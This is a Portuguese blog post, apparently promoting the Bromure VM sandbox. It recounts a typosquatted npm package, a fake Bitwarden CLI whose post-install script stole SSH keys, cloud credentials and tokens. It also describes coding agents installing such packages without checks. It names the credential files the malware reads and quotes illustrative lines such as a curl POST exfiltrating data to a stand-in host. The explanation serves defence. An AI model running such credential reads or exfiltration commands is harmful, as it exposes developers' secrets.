O seu agente de programação instalou o Bitwarden falso
No dia 22 de abril, alguém subiu um pacote npm malicioso chamado @bitwarden/[email protected] — um typosquat que varreu chaves SSH, credenciais AWS/Azure/GCP, tokens do GitHub, tokens de publicação npm e kubeconfigs de qualquer máquina que o executasse. Aquilo de que o pacote foi feito para se alimentar é exatamente o que os agentes de programação modernos fazem sem pensar: instalar o que quer que o npm devolva. Eis o aspecto dessa cadeia, e o que muda quando o agente roda dentro de uma VM Bromure em vez de no seu laptop.
Na semana passada alguém subiu para o npm um pacote chamado
@bitwarden/[email protected]. O Bitwarden CLI verdadeiro está
bem. O falso era um typosquat com um script post-install que
lia as chaves SSH do desenvolvedor, as credenciais da AWS, o
token do npm e a kubeconfig, e dava POST do bundle para um
servidor num espaço de IP alugado por alguém. Há uma piada
enterrada nisto — um gerenciador de senhas falso cujo
trabalho real é roubar credenciais — mas a observação mais útil
é que, em 2026, os mais propensos a digitar
npm install @bitwarden/cli já não são desenvolvedores
humanos. São agentes de programação que instalam o que quer
que o gerenciador de pacotes lhes devolva.
Olha. Aqui vai a notícia, em três frases.
Em 22 de abril de 2026, alguém publicou no npm um pacote com o
nome @bitwarden/[email protected]. Segundo a
análise
da Unit 42, o pacote era um typosquat atribuído a um grupo que se
intitula TeamPCP — o mesmo time que a Datadog
ligou
ao comprometimento do pacote LiteLLM no PyPI três semanas antes —
e o seu script post-install vasculhava o host por credenciais da
AWS, Azure e GCP, tokens de publicação do npm, tokens do GitHub,
chaves SSH e kubeconfigs, empacotava tudo e enviava para a
infraestrutura do atacante. A OX Security, enquadrando o mesmo
incidente num contexto mais amplo, chamou-lhe
a terceira vinda do Shai-Hulud —
a mais recente entrada num verme autorreplicante de cadeia de
suprimentos que, desde setembro de 2025, devorou milhares de
pacotes npm e não dá sinais de cansar.
A piada, que quero tirar da frente antes de falar do que fazer a respeito, é que o Bitwarden CLI falso, em certo sentido, faz exatamente o que um Bitwarden CLI deveria fazer. O trabalho dele é saber sobre muitas credenciais. As credenciais em questão só não eram aquelas para as quais o usuário se inscreveu. Enfim. O ataque em si, mecanicamente, é desinteressante. O que é interessante, e o que faz deste incidente algo digno de um post, é quem vai instalá-lo.
Um pacote que ninguém digita mais.
Uma desenvolvedora humana que quer o Bitwarden CLI verdadeiro costuma ir a bitwarden.com/help/cli, ler a documentação, copiar o comando de instalação a partir de uma página cuja cadeia de certificados TLS termina num fornecedor que ela reconhece, e digitá-lo. Ela pode errar a digitação, claro — essa é toda a premissa do typosquatting — mas tem que estar com pressa, no escuro, e com azar.
Agentes de programação não estão com pressa, no escuro, ou com
azar. Eles são algo pior: confiantemente errados, à velocidade da
máquina. Você pede ao Claude Code para "ligar o Bitwarden para o
script de deploy puxar a API key do vault", e o modelo — que leu
um milhão de blog posts dizendo npm install -g @bitwarden/cli —
digita npm install -g @bitwarden/cli. O gerenciador de pacotes
devolve um pacote chamado @bitwarden/cli. Não há ninguém no
loop conferindo o campo publisher. Não há cadeia de certificados
de bitwarden.com para inspecionar, porque o npm é a cadeia de
certificados. De fato, não há motivo para o agente não rodar o
script post-install que o pacote trouxe, porque é isso que pacotes
npm fazem.
O que precisa ser notado nesta imagem é que nenhuma parte é um
bug. Pacotes npm têm direito de embarcar scripts postinstall.
Esses scripts rodam com os mesmos privilégios do usuário que
invoca o npm. Um script rodando como o usuário pode ler tudo
que o usuário pode ler. Isso inclui — e é a parte que vira
problema quando é um agente quem digita — ~/.ssh/id_ed25519,
~/.aws/credentials, o token de publicação npm em ~/.npmrc
que permite republicar outros pacotes, o token do GitHub na
sua shell, a kubeconfig que permite fazer kubectl exec em
produção. Você não pôs essas coisas ali para o agente. Pôs ali
para você. O agente está agora usando as suas mãos.
Esta é a parte em que, se eu estivesse tentando vender o mesmo problema em 2018, agora eu diria "e por isso você deveria usar um sandbox". E você diria, com razão: "já ouvi falar de sandboxes". E iríamos os dois tomar um café. A razão por que estou escrevendo este post em 2026 é que o sandbox que de fato torna o cenário @bitwarden/cli num não-evento tem um formato um pouco diferente do que vem sendo oferecido na última década, e a diferença é o ponto inteiro.
A forma da correção real.
Suponha que, em vez de rodar isto no seu Mac, o agente de
programação rode dentro de uma VM Linux que só compartilhe a
pasta de projeto que você apontou. Suponha que o
~/.aws/credentials dessa VM seja um stub — um arquivo de
credenciais AWS sintaticamente válido que não contém nada real —
e o mesmo para ~/.npmrc, $GH_TOKEN e os demais. Suponha que a
VM não tenha ~/.ssh/id_ed25519 algum, apenas um socket de
ssh-agent encaminhado cujas chaves estão na Keychain do macOS, do
lado do host da fronteira. Suponha, finalmente, que haja um
pequeno proxy no host que reconhece esses stubs no fio e os troca
pelos reais — mas só em endpoints na lista branca, e só no
momento em que uma requisição efetivamente sai do hipervisor.
Agora rode o script post-install do @bitwarden/cli nessa VM. Ele
faz exatamente o que fazia antes. Lê ~/.aws/credentials. Lê
~/.npmrc. Lê $GH_TOKEN. Lê até o conteúdo do arquivo socket
do ssh-agent, que é um socket de domínio Unix e por isso tem
zero bytes. Empacota tudo, criptografa com a chave RSA-4096
hardcodada, e dá POST para o servidor de drop.
O servidor de drop recebe um bundle criptograficamente perfeitamente autêntico de placeholders.
Há alguns pontos sutis na imagem em que vale a pena desacelerar, porque são a diferença entre este desenho e um contêiner.
O primeiro é que o proxy é de saída, na lista branca e no
fio. Ele não é um sidecar dentro da VM. A VM nunca tem o token
real do GitHub em nenhuma forma alcançável. Não há variável de
ambiente para despejar, nem arquivo para ler, nem página de
memória para raspar. Quando o agente roda git push, a
requisição sai da VM com o stub no header Authorization; o
proxy do host reconhece o stub, troca pelo seu ghp_… real,
encaminha a requisição e encaminha a resposta de volta. Quando o
malware roda curl -X POST drop.bad/u, o proxy procura
drop.bad, não acha nada na lista branca e ou descarta a
requisição ou — dependendo da política de saída da VM — a
encaminha como está, com o stub que o malware tiver pego. De
qualquer forma, a credencial real está do lado errado da fronteira
no único momento em que o malware estava olhando.
O segundo é que a chave SSH não está, em nenhum sentido, dentro
da VM. ssh-agent roda no macOS. As chaves privadas do agente
vivem na Keychain do macOS. O Bromure encaminha o socket do
agente — do mesmo jeito que o OpenSSH faz desde os anos 90, e
pelo mesmo motivo — para dentro da VM. Dentro da VM, ssh e
git funcionam do jeito que sempre funcionaram; a operação de
assinatura subjacente acontece no host, onde o malware rodando
dentro da VM não consegue vê-la. Um pacote que faz
cat ~/.ssh/id_ed25519 recebe No such file or directory e vai
embora.
Por que um contêiner não te leva até aqui.
Olha. A objeção a essa altura — e ela é justa — é "ok, mas a gente tem Docker há dez anos, dá para rodar um agente dentro de um contêiner, e isso não basta?". Bastaria, exceto por dois motivos chatos.
O primeiro é que, para tornar um contêiner útil para as coisas
que um agente de programação realmente faz — git push,
gh pr create, aws s3 cp, npm publish, kubectl exec — você
acaba montando ~/.ssh, ~/.aws/credentials, ~/.npmrc e o seu
token do GitHub dentro do contêiner. Nesse ponto, o script
post-install faz cat ~/.ssh/id_ed25519 e pega o arquivo de
verdade. Contêineres não têm um intermediador de credenciais; têm
um bind mount. O bind mount é exatamente o ponto fraco que o
malware estava procurando.
O segundo é que, no macOS, o contêiner está rodando dentro de uma VM Linux escondida de qualquer jeito. Docker Desktop traz uma; o OrbStack traz uma; o Colima traz uma. Você já está pagando o custo da VM — o disco, a memória, o tempo de boot. O argumento a favor de um contêiner, no macOS, em 2026, não é "é mais leve". É só "é com isso que estou acostumado". O Bromure corta a camada do meio. Há uma única VM. Ela é visível. Ela é sua. O intermediador de credenciais e o forwarding do ssh-agent são as peças para as quais o modelo de contêiner nunca teve história.
O que o tracer pega que você não ia ler.
A outra coisa que vale dizer sobre um agente que instala algo
que ninguém pediu é que muitas vezes ninguém percebeu. O agente
roda npm install, o agente recebe um muro de output, o agente
resume "instalei o Bitwarden CLI e configurei" numa frase só no
chat, e você passa rolando. O script post-install rodou no meio
desse muro. Você não leu o muro. Ninguém lê o muro.
O tracer de sessão do Bromure captura o muro — todo prompt, toda
chamada de ferramenta, todo comando de shell, toda escrita de
arquivo, todo exit code — e te deixa voltar lá depois que a
sessão acaba. "Encontre todo npm install que o agente rodou
hoje" é um grep. "O agente rodou alguma ferramenta que
escreveu fora da pasta do projeto?" é um grep. Quando aparecer
o próximo @bitwarden/[email protected] — e vai aparecer — o trace
te diz quais sessões mexeram nele e quais pastas de projeto
estavam montadas na hora. Você não precisa reconstruir de
memória ou a partir de um scrollback parcial. A sessão é o log
de auditoria.
O que isto pega
Um agente de programação que instala @bitwarden/cli (ou
litellm, ou axios, ou o próximo) dentro de uma VM Bromure
encontra, quando varre por credenciais, um diretório SSH
vazio e um chaveiro de stubs. O script post-install roda. O
POST de exfil sai. O bundle é um placeholder. O raio de
impacto é a VM.
O que o reset transforma em não-evento
Se o malware faz qualquer coisa além de roubo de
credenciais — persistência em crontab, um ~/.bashrc
envenenado, um equivalente a launchd dentro do convidado —
nada disso sobrevive ao próximo bromure reset. Você não
precisa encontrar a persistência; precisa jogá-la fora.
Três segundos, kernel novo, segue programando.
O que isto não pega
Um pacote que chama um backend real que você liberou na lista
branca — digamos um pacote que usa o seu token do GitHub
real para apagar os seus próprios repositórios — recebe
o token real no fio, por design, porque é assim que git push funciona. A defesa é uma pequena lista branca de saída
e um trace de sessão, não onisciência. Dano dentro da pasta
do projeto continua caindo dentro da pasta do projeto.
O que ainda exige um humano
Nada no Bromure impede que um agente de programação seja convencido a commitar código ruim. A fronteira protege as credenciais na sua máquina; ela não revisa o diff. Leia o diff. O trace facilita saber quais diffs ler.
Uma última coisa.
Existe uma versão desta história em que eu te diria que a lição é "audite as suas dependências". Existe também uma versão em que a lição é "pare de usar npm". As duas versões existem, as duas estão em parte certas, e nenhuma vai acontecer no seu time neste trimestre.
A versão que de fato vai acontecer no seu time neste trimestre é que o agente vai instalar alguma coisa que não devia ter instalado, porque o agente instala muita coisa, e em algum lugar da cauda longa do que ele instala vai haver um pacote que foi subido na quarta-feira passada por alguém que se autodenomina TeamPCP ou Shai-Hulud ou seja lá como o próximo grupo se chame. A pergunta é só: quando isso acontecer, o script post-install encontra os segredos, ou encontra um muro?
Bromure Agentic Coding é esse muro. Também é gratuito, código aberto e disponível desde hoje. A bola está com você.